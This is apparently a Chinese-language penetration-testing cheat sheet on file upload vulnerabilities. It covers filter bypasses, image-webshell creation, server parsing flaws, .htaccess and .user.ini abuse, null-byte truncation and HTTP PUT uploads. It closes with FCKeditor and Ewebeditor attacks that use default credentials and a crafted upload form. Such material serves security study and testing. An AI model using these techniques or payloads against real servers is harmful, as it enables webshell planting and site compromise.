一、漏洞原理

1、未过滤或web前端过滤被绕过

2、文件检测被绕过

3、中间件解析

4、不完善的黑名单拓展名

5、文件路径截断

6、HTTP不安全方法(PUT协议)

二、漏洞触发点

说明
存在漏洞的网站类型 存在文件上传功能的网站皆有可能出现文件上传漏洞
常见存在漏洞的位置 头像、相册上传 ;视频、照片分享 ;论坛发帖、留言、邮箱附件上传 ;添加文章图片 ;编辑器文件上传 ;后台添加模板等

三、利用条件

1、服务器开启文件上传功能

2、用户对目录拥有读写权限、执行权限

3、web容器可以以指定格式解析上传的文件(如php站点以php方式解析任意含马文件)

4、服务器配置不当(开启PUT方法)

使用前提

1、文件名后缀必须符合当前网站的开发语言类型

2、确保内容正确,有且只有一个语法标签,如

3、知道文件路径

文件上传漏洞分类

类型 说明
任意文件上传 无限制
前端限制 js、标签等
后端限制 文件名后缀 MIME-type类型 文件内容
解析漏洞 iis、nginx、apache、tomcat
其他类型 00截断、put截断、修改模板等

判断操作系统类型

选择图片路径,改大小写,访问成功为windows、失败为linux

四、绕过方式

waf类型 说明 方法
前端验 证 上传.xxx文件,抓包,若未抓包边被拦截,即为前段验证。 1、禁用js(不推荐)
2、bp抓包改文件名后缀
后端验证 分别修改文件名后缀、文件类型和文件内容,观察哪一次修改被拦截,即为哪种验证
文件类型检测 MIME,描述消息内容类型的因特网标准
Content-Type:
.js -> application/x-javascript
.html -> text/html
.jpg -> image/jpeg *
.png -> image/png
.pdf -> application/pdf
常用类型:image/jpeg
后缀名检测 黑白名单 上传.xxx文件,通过即为黑名单,不通过为白名单 常见黑名单后缀 php:”.php”,”.php5”,”.php4”,”.php3”,”.php2”,”php1”,”.html”,”.htm”,”.phtml”, jsp:”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”, asp:”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,,”.cEr”,”.sWf”,”.swf” 黑名单绕过
1、大小写绕过 linux中,centos6搭载默认apache2.2时可绕过 windows可以绕过
2、黑名单不全绕过 php:.php3、.phtml asp:.cer、.asmx

3、windows系统特性绕过 a.php.
a.php (空格)
a.php:1
a.php::$DATA
内容检测 会检测图片流数据前n位,判断文件类型、大小等。 制作图片马。
最好选择不含PHP、ASP、ASP等标签的图片 如果有,需要手动剔除

copy 1.jpg /b + 2.txt /a 3.jpg
将2中内容追加到1中,生成3 2中可同时写入多种一句话
解析漏洞 1、Apache解析漏洞
>多后缀 apache解析顺序从右到左,若是无法解析,则返回源码。
前提:
apache1.x、2.x
Apache能够识别的文件在mime.types文件可以查看
形式:
a.php.xxx.yyy绕过(黑名单绕过)
a.php.7z(可绕过白名单–不在apache解析目录,但是在白名单目录)

>配置错误 apache配置文件可指定解析后缀类型
>.htaccess apache环境下,当上传文件未拦截.htaccess且未重命名文件时,可上传.htaccess修改apache默认配置

2、IIS6.0解析漏洞
>目录解析
形式:
/xx.asp/xx.jpg
原理:
在网站下创建文件夹名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被当作asp文件来解析并执行。

>文件解析
形式:
/xx.asp;.jpg(利用特殊符号”;”)
原理:
在iis6.0下,服务器默认不解析;号后面的内容,所以xx.asp;.jpg被解析为asp脚本解析漏洞

>解析文件类型(属于黑名单绕过方式)
形式:
/test.asa、/test.cer、/test.cdx
原理:
iis6.0默认的可执行文件除了asp还包含这三种asa、cer、cdx,会将这三种扩展名文件解析为asp文件

3、PHP CGI解析漏洞
IIS7.0/IIS7.5/Nginx<0.8.3畸形解析漏洞
前提:
1、Fast-CGI运行模式
2、php.ini里cgi.fix_pathinfo=1(默认为1)
3、取消勾选php-cgi.exe程序的”Invoke handler only if request is mapped to”
形式:将/xx.jpg/xx.php解析为php文件
4、Nginx解析漏洞
影响版本:
0.5,0.6,0.7<=0.7.65,0.8<=0.8.37
原理:
在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
形式:
xxx.jpg%00.php
>配置错误
AddHandler php5-script .php、
AddType application/x-httpd-php .jpg

>.htaccess
AddType application/x-httpd-php xxx 使用php解析.xxx文件


<FilesMatch .ccc$> SetHandler application/x-httpd-php
正则匹配.ccc后缀文件


<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php
指定解析某个文件
其他类型
.user.ini 自动文件包含,可将jpg解析为php文件,包含于php文件首部,只适用于PHP,7.3版本可用,类似于Apache配置文件.htaccess
注意:文件夹下必须有php文件才可生效
auto_prepend_file=x.jpg
注意,文件名必须相同,访问任意php文件即可生效
00截断 前提:
1、php版本小于5.3.4
2、php的magic_quotes_gpc为OFF状态
抓包 POST包:
1.php+.jpg,将+的数值改为十六进制的00
GET包:
1.php%00,存在上传路径时,也可在上传路径后用此方法截断
HTTP PUT方法 前提:
开启PUT服务
探测:
telnet 192.168.139.136 80
OPTIONS / HTTP/1.1
HOST:172.16.132.161
利用:
telnet 192.168.139.136 80
PUT /infoa.php HTTP/1.1
HOST: 192.168.139.136
Content-Length: 18
开启PUT服务:
1、开启Dav(conf配置文件)–取消注释
LoadModule dav_module modules/mod_dav.so LoadModule dav_fs_module modules/mod_dav_fs.so

2、启用Dav DocumentRoot-Directory下新增DAV On

3、开启文件锁 配置文件首部新增 DavLockDB
c:\phpstudy\www\DavLock 新增DavLock文件夹(上面写的路径) 重启apache服务

五、编辑器漏洞

常见文本编辑器

FCKeditor、Ewebeditor、Ueditor、KindEditor、XHeditor

1、FCKeditor漏洞

漏洞版本

版本 漏洞说明
Version2.2版本 Apache+linux环境下在上传文件后面加个.突破
Version<=2.4.2 forphp上传的地方并未对Media类型进行上传文件类型的控制,导致用户上传任意文件
Version<=v2.4.3 FCKeditor被动限制策略所导致的过滤不严问题较高版本FCKeditor文件上传“.”变“_”下划线

方法

方法 说明
查看编辑器 /fckeditor/editor/dialog/fck_about.html /fckeditor/_whatsnew.html
FCKeditor中test文件的上传地址 fckeditor/editor/filemanager/connectors/test.html fckeditor/editor/filemanager/connectors/uploadtest.html fckeditor/editor/filemanager/browser/default/connectors/test.html fckeditor/editor/filemanager/upload/test.html
>2.4.3版本绕过 在fckeditor/editor/filemanager/connectors/test.html下 同时创建两个x.asp文件夹,一级目录可绕过.转义成_,从而在一级目录a.asp下上传图片马,进行解析

2、Ewebeditor编辑器漏洞

Ewebeidtor编辑器的默认信息

说明 路径
默认数据库路径: /db/ewebeditor.mdb /db/db.mdb
/db/%23ewebeditor.mdb
默认密码: admin/admin/888或admin/admin进入后台,也可尝试admin/123456/admin888
系统默认: ewebeditor.asp?id=content1&style=standards
默认管理地址: 2.80以前:
ewebeditor/admin_login.asp;
以后版本:
admin/login.aspEwebeditor

漏洞类型

说明
1.关键文字的名称和路径 登录页面
Admin_Login.asp
Admin_Default.asp

管理首页
Admin_UploadFile.asp
Upload.asp
2.默认用户名密码 账号密码基本是默认的admin/admin(admin888)
3.下载数据库 默认数据库/db/ewebeditor.mdb或者/db/ewebeditor.asp
4.文件上传
5.遍历路径
6.Cookie漏洞

利用

1、登录后台,进入样式管理,增加上传类型即可。

2、访问/admin/ewebEditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=hack.asp

创建hack.asp文件夹,此文件夹下文件全部可执行

检查元素,编辑html

<form action="http://192.168.1.1/admin/ewebEditor/asp/upload.asp?		action=save&type=image&style=popup&cusdir=hack.asp" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=upload>
</form>

新增上传窗口,上传图片马,查看源码即可获得文件路径。